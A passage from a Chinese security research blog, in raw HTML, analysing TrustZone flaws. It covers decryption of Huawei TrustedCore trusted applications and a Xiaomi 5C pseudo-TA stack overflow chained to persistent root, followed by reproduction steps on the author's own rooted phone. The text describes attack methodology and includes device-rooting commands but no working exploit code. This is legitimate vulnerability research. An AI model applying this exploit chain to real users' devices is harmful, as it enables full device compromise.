<span class="n">msg</span> <span class="o">=</span> <span class="n">a</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">cipher</span><span class="p">)</span>
<span class="nb">open</span><span class="p">(</span><span class="s">'868ccafb-794b-46c6-b5c4-9f1462de4e02.elf'</span><span class="p">,</span><span class="s">'wb'</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
</code></pre></div></div>
<p>可以发现解出来的TA是甚至是带符号的:</p>
<blockquote>
<p><a href="https://xuanxuanblingbling.github.io/assets/attachment/p9lite/868ccafb-794b-46c6-b5c4-9f1462de4e02.elf">868ccafb-794b-46c6-b5c4-9f1462de4e02.elf</a></p>
</blockquote>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ file 868ccafb-794b-46c6-b5c4-9f1462de4e02.elf
868ccafb-794b-46c6-b5c4-9f1462de4e02.elf: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), not stripped
</code></pre></div></div>
<p>使用IDA逆向此TA可以发现确实有符号,但这个TA居然是可以调用外部函数的,例如SLog。这和OP-TEE的TA不同,OP-TEE的TA相当于静态链接,所有的函数都在静态链接到TA中,TA ELF 外部的功能只有通过svc系统调用进TEE OS完成:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/TA.png" alt="image" /></p>
<p>回到华为 TrustedCore 方案中的TA,找到SLog函数的本体实现在globaltask中,所以此方案中globaltask和TA运行时应该在同一个内存环境下:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/slog.png" alt="image" /></p>
<p>另外 P9 Lite 上这套 TrustedCore 方案的 TEE还是值得继续研究的,因为2016年极棒国外黑客Nick用鼻子解锁的正是这款P9 Lite,固件版本也和目前的示例相近:</p>
<blockquote>
<p><a href="https://www.slideshare.net/GeekPwnKeen/nick-stephenshow-does-someone-unlock-your-phone-with-nose">Nick Stephens-how does someone unlock your phone with nose</a></p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/geekpwn.png" alt="image" /></p>
<p>P9 Lite是在国外上市的手机,不过闲鱼上也可以买到,我买了一个,但是系统版本在2020年,尝试使用以上的私钥无法解密其中的TA。应该可以刷低版本复现2016年极棒的漏洞,之后有缘再玩:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/p9lite.png" alt="image" /></p>
<p>另外作者恢复globaltask和TEEOS的ELF结构的过程也还值得研究其处理过程,其他相关:</p>
<ul>
<li><a href="https://downloads.immunityinc.com/infiltrate2019-slidepacks/guanxing-wen-el3-tour-get-the-ultimate-privilege-of-android-phone/infiltrate.pdf">EL3 Tour: Get The Ultimate Privilege of Android Phone</a></li>
<li><a href="https://opus4.kobv.de/opus4-fau/files/16008/diss-mbusch.pdf">On the Security of ARM TrustZone-Based Trusted Execution Environments</a></li>
<li><a href="https://www.ndss-symposium.org/wp-content/uploads/2020/04/bar2020-23014.pdf">Finding 1-Day Vulnerabilities in Trusted Applications using Selective Symbolic Execution</a></li>
<li><a href="https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=9152801">SoK: Understanding the Prevailing Security Vulnerabilities in TrustZone-assisted TEE Systems</a></li>
<li><a href="https://blog.csdn.net/qq_40119224/article/details/114445912">SoK: Understanding the Prevailing Security Vulnerabilities in TrustZone-assisted TEE Systems 论文笔记</a></li>
</ul>老板娘议题 Unearthing the TrustedCore: A Critical Review on Huawei’s Trusted Execution Environment 的子部分,其分析的TEE方案是华为自研的TrustedCore,解密TA的大概流程主要有三步:(1)模拟运行TEE中的白盒密码算法解出RSA私钥prikeyx。(2)使用RSA的私钥prikeyx解密TA头部的manifest。(3)使用解密后manifest中的AES key 解密 TA 正文。但作者没有给出解密过程中的一些细节,例如RSA和AES密钥的组织方法。所以我尝试复现了这个解密,并给出解密过程中的所有细节。【TrustZone相关漏洞导读】MOSEC 2020: 探索澎湃S1的安全视界2023-03-13T00:00:00+00:002023-03-13T00:00:00+00:00https://xuanxuanblingbling.github.io/trustzone/2023/03/13/mi<p>欢迎报名 <a href="https://mp.weixin.qq.com/s/J_oy7q3zsdgzi85vtKnrOg">OSR TrustZone Pwn</a><br />
<img src="https://xuanxuanblingbling.github.io/assets/pic/trustzone/ad.png" alt="image" /></p>
<h2 id="简述">简述</h2>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/topic.png" alt="image" /></p>
<ul>
<li>议题名称:<a href="https://vipread.com/library/topic/2929">Surge in the dark: 探索澎湃S1的安全视界</a></li>
<li>议题作者:slipper</li>
<li>漏洞位置:澎湃S1 : 小米5C : trustzone.img : Pseudo TA : mlipay : sub_801F27C : S-EL1 Runtime</li>
<li>影响版本:澎湃S1 : 小米5C : 全版本(Before v11.0.3.0,停止更新于 2019.12.10)</li>
<li>漏洞固件:<a href="https://bigota.d.miui.com/V11.0.3.0.NCJCNXM/meri_images_V11.0.3.0.NCJCNXM_20191125.0000.00_7.1_cn_0eb3e99e93.tgz">meri_images_V11.0.3.0.NCJCNXM_20191125.0000.00_7.1_cn_0eb3e99e93.tgz</a> 中的 trustzone.img</li>
<li>漏洞类型:栈溢出</li>
<li>漏洞成因:小米安全支付 Pseudo TA(mlipay),在解析IFAA注册请求时,未对证书链字段的证书数量进行检查,就直接将解析数据循环拷贝到栈上</li>
<li>防护措施:漏洞 Pseudo TA(mlipay)位于OP-TEE内核中,目标编译的OP-TEE:无CANARY,无ASLR,有NX,另外普通APP权限无法访问TrustZone接口</li>
<li>攻击入口:从普通APP权限出发,通过binder将IFAA注册请求发送给有TrustZone访问权限的mlipayd服务,由mlipayd服务调用PTA并触发漏洞</li>
<li>利用效果:从EL0普通APP权限出发,提权到S-EL1任意代码执行,并完成EL1(Android)侧的持久 root(远程/本地)</li>
<li>利用代码:未公开</li>
<li>利用方法:(1) 临时root:S-EL1栈溢出,ROP写物理内存,patch Linux Kernel代码段,修改内核提权检查函数并关闭SELinux,完成暂时提权</li>
<li>利用方法:(2) 持久root:利用暂时的root权限,写mac分区即/dev/block/mmcblk0p6,添加skip-verify字段,跳过权限启动检查,并将patch写入boot分区的Linux kernel</li>
<li>利用方法:(3) 本地触发:普通APP通过binder调用mlipayd的服务,将payload送入S-EL1的Pseudo TA中</li>
<li>利用方法:(4) 远程触发:找一个浏览器漏洞,安装普通APP</li>
</ul>
<h2 id="作者">作者</h2>
<p><a href="https://github.com/5lipper">slipper</a>,现盘古实验室安全研究员,<a href="https://oooverflow.io/philosophy.html">OOO</a>成员,上交<a href="https://github.com/0ops">0ops</a>战队联合创始人。曾参加Pwn2Own、DEFCON CTF、GeekPWN和TianfuCup等黑客大赛,曾公开演示破解iPhone8、PlayStation4、Cisco ASA、Safari、Firefox、MacOS、Docker、CentOS、Ubuntu、Adobe Reader。他平时还是一位<a href="https://yuba.douyu.com/group/video/6541995">CTF主播和Baijiucon主播</a>。</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/slipper.jpg" alt="image" /></p>
<h2 id="背景">背景</h2>
<blockquote>
<p>2020年参加MOSEC听过的议题,MOSEC这个会议的一大特色就是用漏洞展示说话,你会在看到当场展示的各种代码执行,getshell,root,kernel panic,这个小米的议题当然也不例外。slipper在议题开始就进行了展示,他将其称为0.5 click的full chain利用:小米5c自动连接一个恶意wifi(但还是要点一下确定),然后就可以收到小米5c反弹的root shell。</p>
</blockquote>
<p>相关记录如下:</p>
<ul>
<li><a href="https://www.mosec.org/2020/">MOSEC 2020</a></li>
<li><a href="https://evilpan.com/2020/07/25/mosec2020/">MOSEC-2020参会小记</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/163528893">记 MOSEC 2020 及上海一游 (1)</a></li>
<li><a href="https://www.anquanke.com/post/id/211605">精彩回顾 MOSEC移动安全技术峰会 2020</a></li>
<li><a href="https://www.freebuf.com/fevents/244394.html">图文直播 MOSEC 2020,一场纯粹的移动安全技术峰会</a></li>
<li><a href="https://o0xmuhe.github.io/2022/12/31/%E6%9C%80%E8%BF%91%E7%9C%8B%E8%BF%87%E7%9A%84%E8%AE%AE%E9%A2%98-%E6%96%87%E7%AB%A0-Bootloader-TZ/">最近看过的议题&文章(Bootloader/TZ)</a></li>
</ul>
<p>虽然MOSEC当时的PPT没有放出来,但这个议题同时出现在了ISC2020上,可以找到PPT:</p>
<ul>
<li><a href="https://vipread.com/library/topic/2929">探索澎湃S1的安全视界</a></li>
<li><a href="https://360.net/about/news/article5f36357228566f0055ff2557">ISC 2020漏洞论坛高潮迭起</a></li>
</ul>
<h2 id="漏洞">漏洞</h2>
<p>整个议题的漏洞和利用不太好分的那么开,因为整体是一个full chain的利用过程,所以涉及到的层次比较多。我们主要关注TrustZone相关的部分,这也是整个漏洞和利用的核心部分,我认为这部分的主要漏洞点有两处,首先是静态TA(伪TA/Pseudo TA)的栈溢出:</p>
<blockquote>
<p>Pseudo TA也可称为静态TA,与运行在S-EL0的普通TA不同,静态TA不是通过CA调用才加载进安全世界的内存中,其直接实现在OP-TEE Kernel中,因此其与OP-TEE Kernel具有相同执行权限,即S-EL1。所以如果静态TA出现漏洞,相当于OP-TEE Kernel的漏洞,这与ko和Linux Kernel的关系类似。</p>
</blockquote>
<h3 id="1-栈溢出">(1) 栈溢出</h3>
<p>循环条件v14由CA传入数据v12解析出,并且没有任何检查,每次循环中有7次向v11指向的栈进行内存写,循环间对写入地址的qword指针v11加7,因此整个循环就是根据v14向v11指向的栈上进行地址递增的写入操作,所以当v14超过设计的循环轮数(v11指向栈空间预留的大小 / 7*8 )时,目标发生栈溢出:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/bug1.png" alt="image" /></p>
<p>但普通用户没有访问/dev/tee0设备的权限,也就没有能力与目标PTA通信,因此就无法触发这个栈溢出,因此需要第二个漏洞:</p>
<h3 id="2-binder的selinux限制失效">(2) binder的selinux限制失效</h3>
<p>限制binder调用的selinux规则在Android7.1下无效。目标PTA的对应CA为mlipayd这个服务,其暴露的binder接口可以从外部接受数据并发送给PTA,虽然设备的selinux规则限制了只有mt_daemon、platform_app、system_app、system_server四种selinux type可以调用mlipay的binder,但很遗憾binder的调用限制是Android 8.0才修改支持的,而目标小米5c的Android版本为7.1,因此任意权限的app都可以通过binder调用mlipay的服务将payload发送给目标PTA:</p>
<ul>
<li><a href="https://source.android.com/docs/core/architecture/hidl/binder-ipc?hl=zh-cn">使用 Binder IPC</a></li>
<li><a href="https://source.android.com/docs/security/features/selinux/images/SELinux_Treble.pdf">SELinux for Android 8.0</a></li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/bug2.png" alt="image" /></p>
<h2 id="利用">利用</h2>
<p>整个利用过程的思路很清晰:触发 -> ROP -> 提权 -> 持久化,最后找个办法远程安装APP:</p>
<h3 id="1-触发">(1) 触发</h3>
<p>利用程序的外貌为Android APP,通过binder调用mlipay以及构造payload直接在java层完成:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/binder.png" alt="image" /></p>
<h3 id="2-rop">(2) ROP</h3>
<p>找到了一段从x0指向的内存控制大量寄存器的gadget:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/rop.png" alt="image" /></p>
<h3 id="3-提权">(3) 提权</h3>
<p>ROP完成patch Linux Kernel,干掉提权检查函数并关闭selinux,获得临时的root shell:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/patch.jpeg" alt="image" /></p>
<h3 id="4-持久化">(4) 持久化</h3>
<p>小米5c的启动链中有类似环境变量的东西,即 <a href="https://github.com/littlekernel/lk/tree/master/lib/sysparam">littlekernel/LK的sysparam</a>,如果设置了skip-verify变量即可跳过安全启动检查,这个变量可以从flash的mac分区即 /dev/block/mmcblk0p6 加载(这也应该算一个漏洞)。因此只要在临时root权限下,写mac分区添加skip-verify相关数据,然后再将patch后的linux kernel和文件系统写入flash中即可完成持久化的root:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/mac.png" alt="image" /></p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/skip.jpeg" alt="image" /></p>
<h3 id="5-远程">(5) 远程</h3>
<p>因为是个普通APP就能触发漏洞,所以为了让利用链更完整,找了一个浏览器漏洞,然后安装APP:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/ap.jpeg" alt="image" /></p>
<h3 id="6-总结">(6) 总结</h3>
<p>整个分析以及攻击过程的路线图如下:</p>
<ol>
<li>从Untrusted APP出发,利用栈溢出打掉 S-EL1 的 P-TA</li>
<li>然后从S-EL1出发,写物理内存,打掉EL1的Linux kernel,获得EL1的root shell</li>
<li>利用EL1的root shell 修改 flash(Storage),patch Linux Kernel并设置skip-verify</li>
<li>设置好skip-verify,即可跳过Firstboot接下来的所有检查,持久化root达成!</li>
</ol>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/roadmap.jpeg" alt="image" /></p>
<h2 id="实践">实践</h2>
<p>小米5c虽是2017年的老款手机,但至今仍可以在闲鱼买到,因此复现此漏洞的硬件条件不难达成。另外小米允许通过开发版ROM解锁fastboot并root,且固件不加密,所以复现此漏洞的软件条件也具备。所以整个漏洞至今仍然可以完全复现,但整个议题最特色的攻击路线,即从的普通用户(EL0)打PTA(S-EL1),然后反打Linux Kernel(EL1)完成提权已经被我复刻成了一道CTF赛题,欢迎参加<a href="https://mp.weixin.qq.com/s/J_oy7q3zsdgzi85vtKnrOg">OSR TrustZone Pwn</a>线下实践课程进行体验:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/ctf1.png" alt="image" /></p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/ctf2.png" alt="image" /></p>
<p>因为相关的利用思路已经在CTF赛题中体现,所以本次实践的目标就设定为,在小米5C真机上,触发PTA的栈溢出并完成任意地址的控制流劫持。另外由于我们仍然聚焦于TrustZone本身,因此我决定忽略通过binder完成漏洞触发的路径,直接使用开发版的ROM,在开启root后,自行编译CA,完成PTA的调用以及漏洞触发,达成目标后的截图:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/success.png" alt="image" /></p>
<h3 id="1-准备硬件">(1) 准备硬件</h3>
<p>因为实践目标简化了漏洞触发的过程,即在root权限下使用自行编译的CA去攻击PTA,因此我们首先需要准备一个已经root的小米5C手机,这个就主要属于玩机的内容了。对于小米这种<a href="https://web.vip.miui.com/page/info/mio/mio/detail?postId=9570189">曾经比较开放</a>的手机,官方是允许用户root自己的手机的,基本流程是刷开发版ROM,然后解锁BL(fastboot 锁),最后授权中心开启root。我闲鱼上买了两个小米5C,分别是稳定版(11.0.3.0)和开发版(9.8.29)的最新版ROM:</p>
<blockquote>
<p>稳定版和开发版均可以使用小米官方解锁工具进行官方解锁,但只有开发版ROM解锁后能直接开启root,所以如果买到ROM为稳定版的手机(目前不可卡刷降级为开发版,会提示验证失败),可以先解锁BL,然后线刷开发版ROM开启root。</p>
</blockquote>
<ul>
<li><a href="https://weishu.me/2021/09/13/what-is-root/">何为 root?</a></li>
<li><a href="https://weishu.me/2021/07/24/what-is-bootloader-unlock/">当我们谈论解锁 BootLoader 时,我们在谈论什么?</a></li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/5c.jpeg" alt="image" /></p>
<p>重置过的手机开启adb前,需要插入SIM卡进行验证。另外在接下来解锁BL时还需要登录小米账号,且必须使用蜂窝网络进行登录。而买到的小米5C大部分不直接支持联通SIM卡,然而我就只有联通的SIM卡…后来我发现,小米5C其实也可以支持联通4G,只需要在拨号键盘中输入<code class="language-plaintext highlighter-rouge">*#*#1#*#*</code>,即可进入工程模式开启联通支持:</p>
<ul>
<li><a href="https://www.sohu.com/a/127883387_451486">小米5c隐藏功能轻松实现联通4G</a></li>
<li><a href="http://yunsw3.shop.yun35.com/zx/yunsw3/314187.html">终于懂得小米5c可支持联通4G 手把手教你设置</a></li>
<li><a href="https://www.sohu.com/a/127891373_419389?_trans_=000019_wzwza">小米5c破解联通4G,方法原来是?</a></li>
</ul>
<p>插入SIM卡后,开启开发者模式并开启adb,在手机没root前,不能使用adb root或得root shell:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">adb</span> <span class="n">root</span>
<span class="n">adbd</span> <span class="n">cannot</span> <span class="n">run</span> <span class="n">as</span> <span class="n">root</span> <span class="n">in</span> <span class="n">production</span> <span class="n">builds</span>
<span class="err">➜</span> <span class="n">adb</span> <span class="n">shell</span>
<span class="n">meri</span><span class="o">:/</span> <span class="err">$</span>
</code></pre></div></div>
<p>可以使用adb将手机启动到fastboot中,查看设备fastboot解锁状态,确认设备并没有解锁:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">adb</span> <span class="n">reboot</span> <span class="n">bootloader</span>
<span class="err">➜</span> <span class="n">fastboot</span> <span class="n">oem</span> <span class="n">device</span><span class="o">-</span><span class="n">info</span>
<span class="p">(</span><span class="n">bootloader</span><span class="p">)</span> <span class="n">Device</span> <span class="n">unlocked</span><span class="o">:</span> <span class="nb">false</span>
<span class="n">OKAY</span> <span class="p">[</span> <span class="mi">0</span><span class="p">.</span><span class="mo">003</span><span class="n">s</span><span class="p">]</span>
<span class="n">Finished</span><span class="p">.</span> <span class="n">Total</span> <span class="n">time</span><span class="o">:</span> <span class="mi">0</span><span class="p">.</span><span class="mo">004</span><span class="n">s</span>
</code></pre></div></div>
<p>fastboot解锁的主要命令就是<code class="language-plaintext highlighter-rouge">fastboot oem unlock</code>,但还要提供对应的解锁码或者解锁相关验证数据才能完成解锁:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">fastboot</span> <span class="n">oem</span> <span class="n">unlock</span>
<span class="n">FAILED</span> <span class="p">(</span><span class="n">remote</span><span class="o">:</span> <span class="err">'</span><span class="n">Token</span> <span class="n">verification</span> <span class="n">failed</span><span class="err">'</span><span class="p">)</span>
<span class="n">fastboot</span><span class="o">:</span> <span class="n">error</span><span class="o">:</span> <span class="n">Command</span> <span class="n">failed</span>
</code></pre></div></div>
<p>虽然解锁需要提供解锁码之类的,但直接使用fastboot oem lock就可以给fastboot上锁,无需任何附加数据,所以对于一个已经解锁的手机,千万不要没事执行这个:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">fastboot</span> <span class="n">oem</span> <span class="n">lock</span>
<span class="p">(</span><span class="n">bootloader</span><span class="p">)</span> <span class="n">Device</span> <span class="n">already</span> <span class="o">:</span> <span class="n">locked</span><span class="o">!</span>
<span class="n">OKAY</span> <span class="p">[</span> <span class="mi">0</span><span class="p">.</span><span class="mo">002</span><span class="n">s</span><span class="p">]</span>
<span class="n">Finished</span><span class="p">.</span> <span class="n">Total</span> <span class="n">time</span><span class="o">:</span> <span class="mi">0</span><span class="p">.</span><span class="mo">002</span><span class="n">s</span>
</code></pre></div></div>
<p>拿到手的手机大概率是fastboot没有解锁的,所以我们需要先解锁,OK,fastboot重启进Android:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">fastboot</span> <span class="n">reboot</span>
<span class="n">Rebooting</span> <span class="n">OKAY</span> <span class="p">[</span> <span class="mi">0</span><span class="p">.</span><span class="mo">004</span><span class="n">s</span><span class="p">]</span>
<span class="n">Finished</span><span class="p">.</span> <span class="n">Total</span> <span class="n">time</span><span class="o">:</span> <span class="mi">0</span><span class="p">.</span><span class="mo">005</span><span class="n">s</span>
</code></pre></div></div>
<p>小米手机解锁过程参考如下,原理是手机绑定小米账号,解锁工具登录小米账号,然后小米远程返回解锁相关数据并执行<code class="language-plaintext highlighter-rouge">fastboot oem unlock</code>:</p>
<blockquote>
<p>解锁工具官网为:<a href="https://www.miui.com/unlock/download.html">https://www.miui.com/unlock/download.html</a>,只有windows平台的支持,并且下载后一定要更新到最新版,否则无法解锁,目前最新版版本号为miflash_unlock-6.5.406.31。另外解锁工具不要使用微信登录小米账号,会解锁失败,需要密码或者验证码登录才能解锁成功。另外也可以尝试第三方的解锁工具:<a href="https://www.xiaomitool.com/V2/">XiaoMiTool V2</a>,其本质是老外逆向了官方的windows解锁工具,并写了一个支持Linux、Mac OS、windows三种平台的小米解锁工具,本质还是和小米服务器通信,需要登录小米账号,是个合法正常的解锁工具。</p>
</blockquote>
<ul>
<li><a href="https://miuiver.com/how-to-unlock-xiaomi-phone/">小米手机 BL 解锁操作指南</a></li>
<li><a href="https://m.dixintong.com/info/detail.aspx?id=2164">关于目前miui解锁刷机,你必须知道的几点</a></li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">1</span><span class="p">.</span> <span class="err">手机已插入</span> <span class="n">SIM</span> <span class="err">卡,关闭</span> <span class="n">WiFi</span> <span class="err">连接,启用数据联网方式</span>
<span class="mi">2</span><span class="p">.</span> <span class="err">依次点击</span> <span class="err">手机设置</span> <span class="o">-></span> <span class="err">我的设备</span> <span class="o">-></span> <span class="err">全部参数</span> <span class="o">-></span> <span class="err">连续点击几次</span> <span class="err">“</span><span class="n">MIUI</span> <span class="err">版本”</span> <span class="err">打开开发者选项</span>
<span class="mi">3</span><span class="p">.</span> <span class="err">依次点击</span> <span class="err">手机设置</span> <span class="o">-></span> <span class="err">更多设置</span> <span class="o">-></span> <span class="err">开发者选项</span> <span class="o">-></span> <span class="err">设备解锁状态</span> <span class="o">-></span> <span class="err">绑定帐号和设备</span>
<span class="mi">4</span><span class="p">.</span> <span class="err">如果是新机,需在绑定帐号后保持使用</span> <span class="mi">7</span> <span class="err">天,期间不要退出小米帐号,以满足解锁条件</span>
<span class="mi">5</span><span class="p">.</span> <span class="err">将手机与电脑连接一次,让电脑安装好驱动(如果安装失败,可下载</span> <span class="n">MiFlash</span> <span class="err">再手动安装)</span>
<span class="mi">6</span><span class="p">.</span> <span class="err">将手机关机,按住音量下键</span> <span class="o">+</span> <span class="err">开机键进入</span> <span class="n">Fastboot</span> <span class="err">模式,之后用数据线连接到电脑</span>
<span class="mi">7</span><span class="p">.</span> <span class="err">电脑下载小米解锁工具,解压后运行里面的</span> <span class="n">miflash_unlock</span><span class="p">.</span><span class="n">exe</span> <span class="err">文件,按提示登录小米帐号,点击解锁,解锁后重启手机</span>
<span class="mi">8</span><span class="p">.</span> <span class="err">到此,</span><span class="n">BL</span> <span class="err">解锁就完成了,之后便可以使用线刷方式刷机</span>
</code></pre></div></div>
<p>手机进入fastboot后,解锁工具可以识别到手机,点击解锁即可:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/unlock1.jpeg" alt="image" /></p>
<p>经过测试,我使用我自己的小米账号解锁买来的二手手机并没有填写解锁申请,也没有使用7天,直接就可以解锁成功,解锁成功后,可以通过 <code class="language-plaintext highlighter-rouge">fastboot oem device-info</code> 查看手机解锁状态,确认已经解锁:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/unlock2.jpeg" alt="image" /></p>
<p>也可以使用<code class="language-plaintext highlighter-rouge">fastboot oem unlock</code>查看解锁状态,但千万不要<code class="language-plaintext highlighter-rouge">fastboot oem lock</code>,这样会直接给fastboot重新上锁:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ fastboot oem device-info
(bootloader) Device unlocked: true
OKAY [ 0.010s]
Finished. Total time: 0.010s
➜ fastboot oem unlock
(bootloader) Device already : unlocked!
OKAY [ 0.010s]
Finished. Total time: 0.011s
</code></pre></div></div>
<p>可以在解锁过程对主机USB抓包,分析小米解锁工具到底是怎么干的:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/unlock3.png" alt="image" /></p>
<p>解锁后进入Android还需要在:设置 - 授权管理 - ROOT权限管理(稳定版解锁后没有这个功能),中开启root,然后即可使用<code class="language-plaintext highlighter-rouge">adb root</code>获取手机的root shell:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">adb</span> <span class="n">root</span>
<span class="n">restarting</span> <span class="n">adbd</span> <span class="n">as</span> <span class="n">root</span>
<span class="err">➜</span> <span class="n">adb</span> <span class="n">shell</span>
<span class="n">meri</span><span class="o">:/</span> <span class="err">#</span>
<span class="n">meri</span><span class="o">:/</span> <span class="err">#</span> <span class="n">cat</span> <span class="o">/</span><span class="n">proc</span><span class="o">/</span><span class="n">version</span>
<span class="n">Linux</span> <span class="n">version</span> <span class="mi">4</span><span class="p">.</span><span class="mi">9</span><span class="p">.</span><span class="mi">27</span><span class="o">-</span><span class="mi">264179</span><span class="o">-</span><span class="n">g1c21f86</span> <span class="p">(</span><span class="n">soon</span><span class="err">@</span><span class="n">Soon6401</span><span class="p">)</span> <span class="p">(</span><span class="n">gcc</span> <span class="n">version</span> <span class="mi">4</span><span class="p">.</span><span class="mi">9</span>
<span class="mi">20150123</span> <span class="p">(</span><span class="n">prerelease</span><span class="p">)</span> <span class="p">(</span><span class="n">GCC</span><span class="p">)</span> <span class="p">)</span> <span class="err">#</span><span class="mi">1</span> <span class="n">SMP</span> <span class="n">PREEMPT</span> <span class="n">Fri</span> <span class="n">Mar</span> <span class="mi">15</span> <span class="mi">14</span><span class="o">:</span><span class="mi">30</span><span class="o">:</span><span class="mi">35</span> <span class="n">CST</span> <span class="mi">2019</span>
<span class="n">meri</span><span class="o">:/</span> <span class="err">#</span> <span class="n">getenforce</span>
<span class="n">Enforcing</span>
<span class="n">meri</span><span class="o">:/</span> <span class="err">#</span> <span class="n">setenforce</span> <span class="mi">0</span>
<span class="n">meri</span><span class="o">:/</span> <span class="err">#</span> <span class="n">getenforce</span>
<span class="n">Permissive</span>
</code></pre></div></div>
<p>其他参考如下,解锁相关:</p>
<ul>
<li><a href="https://miuiver.com/install-magisk-for-xiaomi/">小米手机安装 Magisk 获取 Root 权限指南</a></li>
<li><a href="https://miuiver.com/how-to-root-xiaomi-phone/">小米手机获取 Root 权限教程(详细图文)</a></li>
<li><a href="https://www.jianshu.com/p/15e4a1b86a31">2021 miui 刷开发版和root最简单的方法,详细步骤</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/100606502">小米手机官方解锁BootLoader教程</a></li>
</ul>
<p>线刷相关:</p>
<ul>
<li><a href="https://miuiver.com/how-to-flash-xiaomi-phone/">小米手机线刷方式刷机指南</a></li>
<li><a href="https://web.vip.miui.com/page/info/mio/mio/detail?postId=4935188">史上最全 MiFlash线刷错误的那些事儿~ 收藏备用</a></li>
<li><a href="https://blog.csdn.net/pk_sir/article/details/112609052">Mac:小米手机刷机</a></li>
</ul>
<p>root相关:</p>
<ul>
<li><a href="https://blog.csdn.net/AprilsHell/article/details/90729925">带你用最简单的方式获得小米完整root权限(无需刷第三方rom)</a></li>
<li><a href="https://www.jianshu.com/p/083c64b82b6c">小米手机解锁和获取ROOT权限所遇到的问题及解决方法</a></li>
<li><a href="https://blog.csdn.net/z434890/article/details/106902984">小米5手机刷成开发版获取root权限</a></li>
</ul>
<p>降级相关:</p>
<ul>
<li><a href="https://web.vip.miui.com/page/info/mio/mio/detail?postId=21235671">MIUI系统之降级详细教程</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/280976093">小米5 从MIUI10降级回到V8.1.6版本完整版</a></li>
</ul>
<h3 id="2-准备软件">(2) 准备软件</h3>
<p>准备好硬件,即已经root的小米5c后,我们还需要准备目标软件,也就是固件,或者说手机刷机包。虽然小米几年前关闭了手机刷机包的直接下载渠道,但热闹的小米社区中还是有不少米粉在尽心尽力的对曾经的刷机包进行整理:</p>
<ul>
<li><a href="https://web.vip.miui.com/page/info/mio/mio/detail?postId=37093637">MIUI正式版刷机包汇总</a></li>
<li><a href="https://web.vip.miui.com/page/info/mio/mio/detail?postId=5896315&version=">Xiaomi 全系列机型 ROM 包下载站汇总</a></li>
</ul>
<p>对于开发版刷机包,<a href="https://xiaomirom.com/">小米ROM</a> 这个站点整理的比较好:</p>
<ul>
<li><a href="https://xiaomirom.com/rom/mi-5c-meri-china-fastboot-recovery-rom/">小米 5c (meri) 国行版 Fastboot 线刷包 & Recovery 卡刷包 ROM</a></li>
</ul>
<p>我们关注两个包,分别是小米5C稳定版(V11.0.3.0)和开发版(v9.8.29)的最新线刷包:</p>
<blockquote>
<p>因为目标漏洞代码至少在稳定版中,而我们手中root的真机是开发版</p>
</blockquote>
<ul>
<li>稳定版:<a href="https://bigota.d.miui.com/V11.0.3.0.NCJCNXM/meri_images_V11.0.3.0.NCJCNXM_20191125.0000.00_7.1_cn_0eb3e99e93.tgz">meri_images_V11.0.3.0.NCJCNXM_20191125.0000.00_7.1_cn_0eb3e99e93.tgz</a></li>
<li>开发版:<a href="https://bigota.d.miui.com/9.8.29/meri_images_9.8.29_20190829.0000.00_7.1_cn_91d8adb623.tgz">meri_images_9.8.29_20190829.0000.00_7.1_cn_91d8adb623.tgz</a></li>
</ul>
<p>小米的刷机包就比华为好看很多,tgz压缩包直接解开就能看到一个个命名很清晰的分区镜像,且没有加密:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">ls</span>
<span class="n">amt</span><span class="p">.</span><span class="n">bin</span> <span class="n">cust</span><span class="p">.</span><span class="n">img</span> <span class="n">modemarm</span><span class="p">.</span><span class="n">bin</span> <span class="n">persist</span><span class="p">.</span><span class="n">img</span> <span class="n">system</span><span class="p">.</span><span class="n">img</span>
